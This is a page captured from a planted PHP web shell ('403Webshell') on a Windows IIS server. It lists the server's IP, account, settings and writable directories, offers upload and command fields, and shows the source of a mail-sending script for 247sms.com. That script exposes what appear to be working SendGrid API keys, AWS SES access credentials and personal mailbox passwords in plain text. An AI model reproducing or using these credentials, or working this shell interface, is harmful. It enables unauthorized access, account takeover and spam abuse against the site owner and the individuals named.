403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/247sms.com/wwwroot/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/247sms.com/wwwroot/test/sendmailclient.php
<?php 

function sendmailtoclient ($clientEmail,$mess1,$mess2,$subj,$mfrom,$mfromname)
{
require_once("phpmailer/class.phpmailer.php");
require_once("phpmailer/class.smtp.php");
require 'vendor/autoload.php';

//Create an instance; passing `true` enables exceptions
$mail = new PHPMailer(true);


echo "Nosa7";
//$mail->IsSMTP();  // telling the class to use SMTP
//$mail->SMTPAuth = true; 

//$mail->Host     = "smtp.sendgrid.net"; // SMTP server
//$mail->Username = 'apikey';
//$mail->Password = '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'; 



//tested working
//$mail->Host     = "smtp.sendgrid.net"; // SMTP server
///$mail->Username = 'apikey';
//$mail->Password = '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'; 




 //Server settings
    $mail->SMTPDebug = SMTP::DEBUG_SERVER;                      //Enable verbose debug output
    $mail->isSMTP();                                            //Send using SMTP
    $mail->Host       = 'email-smtp.us-east-1.amazonaws.com';                     //Set the SMTP server to send through
    $mail->SMTPAuth   = true;                                   //Enable SMTP authentication
    $mail->Username   = 'AKIAUW4RAPR3HBRDPAED';                     //SMTP username
    $mail->Password   = 'BOwfFxC25Q6GoghaUYOWoK/Y1mr0LKpZ6l7DUXnzdCYO';                               //SMTP password
    //$mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            //Enable implicit TLS encryption
    $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
    $mail->Port       = 587;        

//Set TCP port to connect to
//$mail->Port = 587;    
//$mail->Host     = "email-smtp.us-east-1.amazonaws.com"; // SMTP server
//$mail->Username = 'AKIAUW4RAPR3HBRDPAED';
//$mail->Password = 'BOwfFxC25Q6GoghaUYOWoK/Y1mr0LKpZ6l7DUXnzdCYO'; 



//$mail->Host = 'mail.247sms.com'; // Specify main and backup SMTP servers
//$mail->SMTPAuth = true; // Enable SMTP authentication
//$mail->Username   = "nosa.osahon@247sms.com";
//$mail->Password   = "NosaMore1922#";

//$mail->Host     = "mail.penpalamerica.com"; // SMTP server
//$mail->Username = 'nosa.osahon@penpalamerica.com';
//$mail->Password = 'more1922'; 

$mail->From     = $mfrom;
$mail->FromName     = $mfromname;
$mail->AddAddress($clientEmail); 
//$mail->AddBCC("annmarie.johnson@sms4real.com");
//$mail->AddBCC("nosa@247sms.com");

//$mail->WordWrap = 10; 
$mail->Subject = $subj;
$mail->Body    = $mess1;
$mail->IsHTML(true); 
$mail->AltBody =$mess2;

if(!$mail->Send()) {

    //echo "Error";
    echo $mail->ErrorInfo;
    //die();

return '-1';

} else {

    //echo "no error";
    //die();

return '0';
}

}

//echo sendmailtoclient("nosa.osahon@gmail.com","testtest","testtest","hello");

Function getMyIP()
{
$ipaddress = '';
     if (getenv('HTTP_CLIENT_IP'))
         $ipaddress = getenv('HTTP_CLIENT_IP');
     else if(getenv('HTTP_X_FORWARDED_FOR'))
         $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
     else if(getenv('HTTP_X_FORWARDED'))
         $ipaddress = getenv('HTTP_X_FORWARDED');
     else if(getenv('HTTP_FORWARDED_FOR'))
         $ipaddress = getenv('HTTP_FORWARDED_FOR');
     else if(getenv('HTTP_FORWARDED'))
        $ipaddress = getenv('HTTP_FORWARDED');
     else if(getenv('REMOTE_ADDR'))
         $ipaddress = getenv('REMOTE_ADDR');
     else
         $ipaddress = 'UNKNOWN';

     return $ipaddress; 

}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit